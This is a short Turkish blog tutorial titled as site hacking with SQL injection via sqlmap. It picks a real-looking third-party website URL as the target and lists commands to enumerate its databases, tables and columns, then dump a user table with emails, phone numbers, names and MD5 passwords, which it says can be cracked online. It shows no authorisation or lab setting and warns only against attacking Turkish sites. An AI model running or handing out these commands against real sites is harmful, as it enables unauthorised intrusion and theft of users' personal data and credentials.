Sqlmap Sql injection ile site hackleme
Merhaba bu konumuzda sizlere sql injectionun nasıl yapıldığını anlatacağım.
Kısa ve öz biçimde.
Bunun için sqlmap-master aracını kullanacağız.
Not: Asla Türk sitelerine saldırmayın.
Öncelikle sqlmap aracımızı indirmemiz lazım.
https://ay.live/aRNnZR bu adrese gidip indiriyoruz.
Sonra zip'ten çıkartıp masaüstüne atıyoruz.
Şimdi terminali açıp şunları yazın.
cd desktop
cd sqlmap-master
Sonra hedef site bulalım.
http://www.astechnology.sm/fr.as/leggi-news-as-technology.php?id=21 ben bu siteyi buldum.
Şimdi terminale şunları yazın.
python sqlmap.py -u hedef url --dbs
python sqlmap.py -u http://www.astechnology.sm/fr.as/leggi-news-as-technology.php?id=21 --dbs
-u : url
--dbs:Database
Y/n gibi sorulara Y yazınız.
Şimdi datayı çekelim. Şu komutu girin
python sqlmap.py -u http://www.astechnology.sm/fr.as/leggi-news-as-technology.php?id=21 -D fa23ugad_astech --tables
Burda fa23ugad_astech databasedeki tabloları getirmesini istiyoruz.
--tables: Tabloları getir
python sqlmap.py -u http://www.astechnology.sm/fr.as/leggi-news-as-technology.php?id=21 -D fa23ugad_astech -T utenti --columns
Burda utenti tablosunun içindeki colonları çekiyoruz.
--columns: kolon
Burda dikkatimi email,telefone,utende_ID,password,nome çekti.
Onun için şunu yazıyoruz.
python sqlmap.py -u http://www.astechnology.sm/fr.as/leggi-news-as-technology.php?id=21 -D fa23ugad_astech -T utenti -C email,telefone,utende_ID,password,nome --dump
--dump:seçtiğim şeyleri önüme dök
Şimdi bu colonda olan bilgileri ekrana getirecek.
Bu şifre md5 ile şifrelenmiştir. Bunu internette kırabilirsiniz.
Konumuz buraya kadardı.
Bir sonraki yazıda görüşmek üzere.
Yorumlar
Yorum Gönder